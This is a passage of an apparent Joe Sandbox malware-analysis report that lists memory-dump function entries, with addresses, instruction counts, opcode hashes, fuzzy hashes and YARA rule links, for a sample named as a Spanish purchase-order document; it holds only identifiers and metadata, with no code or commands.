                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1b52ea85efe0908754167729330d69d0087896ca9e250d96662e3bbf6d58204c
                                                                                                              • Instruction ID: 9582e4e98b03765b1cf051a58828e44fb4012d58229991e2394f630c7a92b282
                                                                                                              • Opcode Fuzzy Hash: 1b52ea85efe0908754167729330d69d0087896ca9e250d96662e3bbf6d58204c
                                                                                                              • Instruction Fuzzy Hash: 54C11534A00204CFDB54DF68C994A9DBBF2BF89711B2585A8E406EB3A1DB71EC42CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE8F40 Relevance: .3, Instructions: 281COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 29235bc9f845e753f1860b8c93458e40608645017b04f3762d3db4e2b85c07d3
                                                                                                              • Instruction ID: dcc839301f8bce3d448d917f95c4958bb7ff5fb09a454fb868a89dbb476ccd29
                                                                                                              • Opcode Fuzzy Hash: 29235bc9f845e753f1860b8c93458e40608645017b04f3762d3db4e2b85c07d3
                                                                                                              • Instruction Fuzzy Hash: 01A1E531B002048FDB54EF78C854BAE7BB6EF84310F10856AD559CB2A1DF749D4ACBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730BB48 Relevance: .3, Instructions: 275COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5607b1ea57bce0383953b0ac42d526e4e7f4919a3b055b1d097c706e6928e51f
                                                                                                              • Instruction ID: 2746924d3e2c7e41da6a0a0766af021ae9a0742af56381114285e1862c4ca665
                                                                                                              • Opcode Fuzzy Hash: 5607b1ea57bce0383953b0ac42d526e4e7f4919a3b055b1d097c706e6928e51f
                                                                                                              • Instruction Fuzzy Hash: B8B138F5E15219CFEB04DFA4D890AEDFBBAFF49300F108615D409AB695DB30A946CB80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEEFE0 Relevance: .2, Instructions: 230COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2dc1cb8b1704a0dfe9450388b6210246f6b3755e1ef61aad23835b6f2cdc2c0b
                                                                                                              • Instruction ID: ac15372d5ee20ebbc9226dd9d09435bd2a79e2d8c820024404b0da469cab0e5a
                                                                                                              • Opcode Fuzzy Hash: 2dc1cb8b1704a0dfe9450388b6210246f6b3755e1ef61aad23835b6f2cdc2c0b
                                                                                                              • Instruction Fuzzy Hash: 3681AC70B01A069FEBA4EF78D94172A7BE6FF44304F140629E426CB3A4DB74E951CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEEFD0 Relevance: .2, Instructions: 227COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4474530797adff229dab5baec2338e1a8f434fed584d2006e56f296cc4710549
                                                                                                              • Instruction ID: 85dd6eb52e8795f21a998c2ca8562b24f698808765940a0dbf9db924c044c008
                                                                                                              • Opcode Fuzzy Hash: 4474530797adff229dab5baec2338e1a8f434fed584d2006e56f296cc4710549
                                                                                                              • Instruction Fuzzy Hash: 9481BC70B01A029FEBA4EF78D94176A7BE6BF45300F100529E416CB2A1DB34E951CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0D28 Relevance: .2, Instructions: 194COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 19e49b8b76303e93b77d0ae4d20d8b41d4ddc68fe5846d5eb88f483fc3519c74
                                                                                                              • Instruction ID: 2205c724afd41f704c95530f6cff8ec9c1c62ac4a791a22fbb94ea3c75091550
                                                                                                              • Opcode Fuzzy Hash: 19e49b8b76303e93b77d0ae4d20d8b41d4ddc68fe5846d5eb88f483fc3519c74
                                                                                                              • Instruction Fuzzy Hash: 8561D130B012049FDB68EB74D8106AE7BB6EF85310B2481ADD05ACB3A5CF35ED12CB61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFFD70 Relevance: .2, Instructions: 193COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e045cae7fb7fce822b268670a51ee23bbbd22439e78a11822a4d4225ec1ef265
                                                                                                              • Instruction ID: 14adbcf0ee8f30b929d74dd52d01123895add1ff31c26b0fae205d6783b50983
                                                                                                              • Opcode Fuzzy Hash: e045cae7fb7fce822b268670a51ee23bbbd22439e78a11822a4d4225ec1ef265
                                                                                                              • Instruction Fuzzy Hash: 2561D872F113058FDFA9AFB4D95466EBAB2AF84200F10056EE506A73A2DF359D01C7D1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE4EE8 Relevance: .2, Instructions: 183COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: acf08865d729a1a97bb90305fa3aee514019d8c74c64bc833a2d69050e1fd92d
                                                                                                              • Instruction ID: d21da788638053b91010cf8629ab9e7558d15b803f33c6cb6069e15bf1aad29a
                                                                                                              • Opcode Fuzzy Hash: acf08865d729a1a97bb90305fa3aee514019d8c74c64bc833a2d69050e1fd92d
                                                                                                              • Instruction Fuzzy Hash: 7051F036B002009FDB49AB75DC54A6E3BE7EFC9250B148079E50ACB3A5DF35DC0697A0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730332C Relevance: .2, Instructions: 181COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 89eb098bf20d63ac91b9420d9ae76a745a1ee3f03bbca01a0325b95778db2507
                                                                                                              • Instruction ID: cf984c17639502f35eefb4e1a0da1d1c8023dea13e65c249c32b02aeb77b17e7
                                                                                                              • Opcode Fuzzy Hash: 89eb098bf20d63ac91b9420d9ae76a745a1ee3f03bbca01a0325b95778db2507
                                                                                                              • Instruction Fuzzy Hash: 4E61F7B4D15218CFEB54DFA8D598AEDBBF9FB4A301F209019D419B7681CB359942CF80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07303048 Relevance: .2, Instructions: 180COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8bcfd6a849dfc511d14949a47d75970270fb3fe8b521f4d0872a01483fe04532
                                                                                                              • Instruction ID: 35967c323d91c135bb7f95986b143eca686ddae375297aca1dad021e8166217e
                                                                                                              • Opcode Fuzzy Hash: 8bcfd6a849dfc511d14949a47d75970270fb3fe8b521f4d0872a01483fe04532
                                                                                                              • Instruction Fuzzy Hash: A07104B4D16218CFEB00DFE8D898AEDBBB9FB49300F10941AD419A7285D7755949CB81
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07302569 Relevance: .2, Instructions: 174COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 945d25132401027e0066d11189c348d4546a56c4bf1580b3f12a3265bde34fd8
                                                                                                              • Instruction ID: 6bbfb02f152a52bde353e8425a33931cc054d39580fa51aa1b24be40b387679f
                                                                                                              • Opcode Fuzzy Hash: 945d25132401027e0066d11189c348d4546a56c4bf1580b3f12a3265bde34fd8
                                                                                                              • Instruction Fuzzy Hash: 2D6160F4919209DBFB40CF65E06E2AEBBF9FB4A300F118495C459E3282DB3986548B84
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE3C98 Relevance: .2, Instructions: 170COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3df1523071bfc36416c1f2df1ef6b1d32b38e44423658faf333accd2c55cf5ae
                                                                                                              • Instruction ID: 36b5acf2d7ad8a17cfc2951b2092e0275cdf0a8d6339c071bfae50a031f9cb17
                                                                                                              • Opcode Fuzzy Hash: 3df1523071bfc36416c1f2df1ef6b1d32b38e44423658faf333accd2c55cf5ae
                                                                                                              • Instruction Fuzzy Hash: 4A518F35F007058FDBA49B24CC48BAB7BE6BF84305F148469D15ADB291DFB5AC8ACB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE17D0 Relevance: .2, Instructions: 162COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6bcd81aca3b53aef9da5efea15be34984dd644a16571b79fed14e6b15302db35
                                                                                                              • Instruction ID: ed967e3876b431544b0aee23c40e6124c62d78bf6978616f02c21c4f75ef748d
                                                                                                              • Opcode Fuzzy Hash: 6bcd81aca3b53aef9da5efea15be34984dd644a16571b79fed14e6b15302db35
                                                                                                              • Instruction Fuzzy Hash: 66516B35B00205CFDB98CF65C888BA9BBB6BF88715F148169E416DB260CB30EC45CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07303038 Relevance: .2, Instructions: 159COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1e0608309f3d3d1b9de59f64c4113c6d975c397759f827df6bf7fa7ed8b9b4f5
                                                                                                              • Instruction ID: 57a2318ffdc3d96095a09506864c0c567ed747efcf788c590f13e867285b0110
                                                                                                              • Opcode Fuzzy Hash: 1e0608309f3d3d1b9de59f64c4113c6d975c397759f827df6bf7fa7ed8b9b4f5
                                                                                                              • Instruction Fuzzy Hash: AD5135B4D06218CFEB00DFE9D898AEEBBB9FF49300F10941AD419A7385D7745989CB81
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE5500 Relevance: .2, Instructions: 158COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e83c079ec67dba9b0e0f6fe5a1b1110c32a437198281d7d08b35293913e7bd98
                                                                                                              • Instruction ID: 97bc18a90c326227025ddbebbc1832aad7dc1cd0d32020912f0956e03d8d77ac
                                                                                                              • Opcode Fuzzy Hash: e83c079ec67dba9b0e0f6fe5a1b1110c32a437198281d7d08b35293913e7bd98
                                                                                                              • Instruction Fuzzy Hash: 3D51A232B002018FEB94DB68CC55BAD7BF2EF89318F1481A5D155EB3E1CA769D46CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07303A50 Relevance: .2, Instructions: 155COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 24ed6b50c333324d4849212ce8e2dda2ea6334d69cba2b635be731d680f6f4ee
                                                                                                              • Instruction ID: 2632c4cc4eeba272aea87a11bb2e3975312c0a8e80987f8e4b939121b3d286e5
                                                                                                              • Opcode Fuzzy Hash: 24ed6b50c333324d4849212ce8e2dda2ea6334d69cba2b635be731d680f6f4ee
                                                                                                              • Instruction Fuzzy Hash: C851C071B002068FDB14EB79D85496EBBF6FFC53207148A69E429DB391EB30DD0687A1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE9528 Relevance: .2, Instructions: 154COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3241de7851389df3395600ee9a38cc28b1c97ea912aeadd18b2b4d798b40eab6
                                                                                                              • Instruction ID: 8e8db4c0be92e3f0f9fca94b1c3f4e1359ef2fc88bacf7ef9d10f5f3bf371878
                                                                                                              • Opcode Fuzzy Hash: 3241de7851389df3395600ee9a38cc28b1c97ea912aeadd18b2b4d798b40eab6
                                                                                                              • Instruction Fuzzy Hash: 8D412631B007009FEB65D729C850B6A7BE69F86211F14847EE04ACB2A5DBB5EC06C7E1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730B920 Relevance: .2, Instructions: 153COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c3f32de37257de172ee3e35b71218d24dfd9dcfddf5a826726170231f56197b8
                                                                                                              • Instruction ID: 3fc0c1b516d9598f80c0424d1a06fac8dcb1af9fbe59bbf129fe182aedb12727
                                                                                                              • Opcode Fuzzy Hash: c3f32de37257de172ee3e35b71218d24dfd9dcfddf5a826726170231f56197b8
                                                                                                              • Instruction Fuzzy Hash: 5151C5B4E15208CFDB08DFE9D8546EDFBB6AF89300F10902AD519AB394DB315945CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE001F Relevance: .2, Instructions: 150COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0064f5224003da9eddc56392f88cbfe2759cc3f80c17fee056559c16c7f19827
                                                                                                              • Instruction ID: 9b1b1d95afe63722b2dcaa8cf6e3d1ecc2be8d10bde4364f5b026471e9291144
                                                                                                              • Opcode Fuzzy Hash: 0064f5224003da9eddc56392f88cbfe2759cc3f80c17fee056559c16c7f19827
                                                                                                              • Instruction Fuzzy Hash: 4A515930A042058FDB99CF76C898BA9BBF1BF49704F1581AAE446DB261CB30ED45CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF5E90 Relevance: .1, Instructions: 143COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 88465d9f6a4b0b51fac328cf82f12ffa69f35f015141775dc43f2e825304b506
                                                                                                              • Instruction ID: 4ad00c68faafb2a942866e99f6bfa3a541c4a768c8207e3914ca1d8e6730bad1
                                                                                                              • Opcode Fuzzy Hash: 88465d9f6a4b0b51fac328cf82f12ffa69f35f015141775dc43f2e825304b506
                                                                                                              • Instruction Fuzzy Hash: C2515830E21219CFCB60CF68D985AADBBF5FF08711F14806AE505EB2A2DB30D844CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEE028 Relevance: .1, Instructions: 141COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5b17a5ec665b90cfc34ba19157cc369e7fe023d908e6057fe2dae3101b303aeb
                                                                                                              • Instruction ID: 2e33861ccfcab5e99ff7df0bf9405b1232b156d881777c920b5b4558c4bff71f
                                                                                                              • Opcode Fuzzy Hash: 5b17a5ec665b90cfc34ba19157cc369e7fe023d908e6057fe2dae3101b303aeb
                                                                                                              • Instruction Fuzzy Hash: A6510131E0061A8FCB50DFA8D8416ADFBF1FF85310F14855AE519E7211EB34D995CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE9F28 Relevance: .1, Instructions: 136COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9f5bc6b68ac6d3f4ae10e3157d278cf4ddb8a4c0cefa8e529310214c546119f9
                                                                                                              • Instruction ID: cbb4f2e025e3b1e9a40dcbee764141ec591fc42311abbf488d34a2590d2c25d6
                                                                                                              • Opcode Fuzzy Hash: 9f5bc6b68ac6d3f4ae10e3157d278cf4ddb8a4c0cefa8e529310214c546119f9
                                                                                                              • Instruction Fuzzy Hash: 13418D317042508FD748DB39D868969BBFAEF8A61031540AEF406CB3B2CA79DC06CB60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE7248 Relevance: .1, Instructions: 136COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2f070c86457fbbf24858943d929e86a72994a38267724349b1718fe7c5cfd7c9
                                                                                                              • Instruction ID: 6d19f1529bbaccc7770615e36f82f5d912bc2841a48b64081b4249b15a6d344a
                                                                                                              • Opcode Fuzzy Hash: 2f070c86457fbbf24858943d929e86a72994a38267724349b1718fe7c5cfd7c9
                                                                                                              • Instruction Fuzzy Hash: 12412A31F043109FDBA4A729C8517AABBE6AF85310F14806EE859C76A1CB31EC46C791
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C130 Relevance: .1, Instructions: 134COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e9b50928c2f8e013b07ddbd5f61654c7ff413caaf14cd006c10126159b13c31e
                                                                                                              • Instruction ID: 26f72852d90e9ed4504e833a5509004477f70e304e2110910de42c19f7af5810
                                                                                                              • Opcode Fuzzy Hash: e9b50928c2f8e013b07ddbd5f61654c7ff413caaf14cd006c10126159b13c31e
                                                                                                              • Instruction Fuzzy Hash: B1411CB0D19209CFEB08CFA9D4546EEBBFAAF8E301F14E166D419A7691D7344940CFA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE5A08 Relevance: .1, Instructions: 133COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: aaa4ff4910414937cff738be30a1a682a4e9bcc0fe9c2df2f0fd2eacc6883f77
                                                                                                              • Instruction ID: 4b911ef98924c35caa88b42f4ca7fa37005add369b0935b2c7e7dbe502dbb942
                                                                                                              • Opcode Fuzzy Hash: aaa4ff4910414937cff738be30a1a682a4e9bcc0fe9c2df2f0fd2eacc6883f77
                                                                                                              • Instruction Fuzzy Hash: 5D41BF35F006048FDB649F28D484A6A7BE2FF84729F248569E509CB361DB72EC46CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0442 Relevance: .1, Instructions: 129COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8b40bb92fddb92e1b1b79627312c4518a39caa5a6393fea0c6cdde46fca7fea2
                                                                                                              • Instruction ID: d63a45bdae77ef8f839b6e9803579deef24b635c62dd336dd5ca1df756dfbb4a
                                                                                                              • Opcode Fuzzy Hash: 8b40bb92fddb92e1b1b79627312c4518a39caa5a6393fea0c6cdde46fca7fea2
                                                                                                              • Instruction Fuzzy Hash: A5511734A00204CFCB54DF68C998A99BBF1BF49714B2585A8E406EB3B1DBB0EC41CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE5348 Relevance: .1, Instructions: 126COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 20682da26dbe28b9c87eea26ab82b0e0a53931e85b47b95363acecb52dc46cad
                                                                                                              • Instruction ID: 7afd91a1722e67a223b6baaf6b610fff703ad4572aec2d4298882b1292eae618
                                                                                                              • Opcode Fuzzy Hash: 20682da26dbe28b9c87eea26ab82b0e0a53931e85b47b95363acecb52dc46cad
                                                                                                              • Instruction Fuzzy Hash: 50417F71E002099FDF48EFB488106AE7BB2BFC9300B20C569D455EB395DE399D428BA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEC468 Relevance: .1, Instructions: 124COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
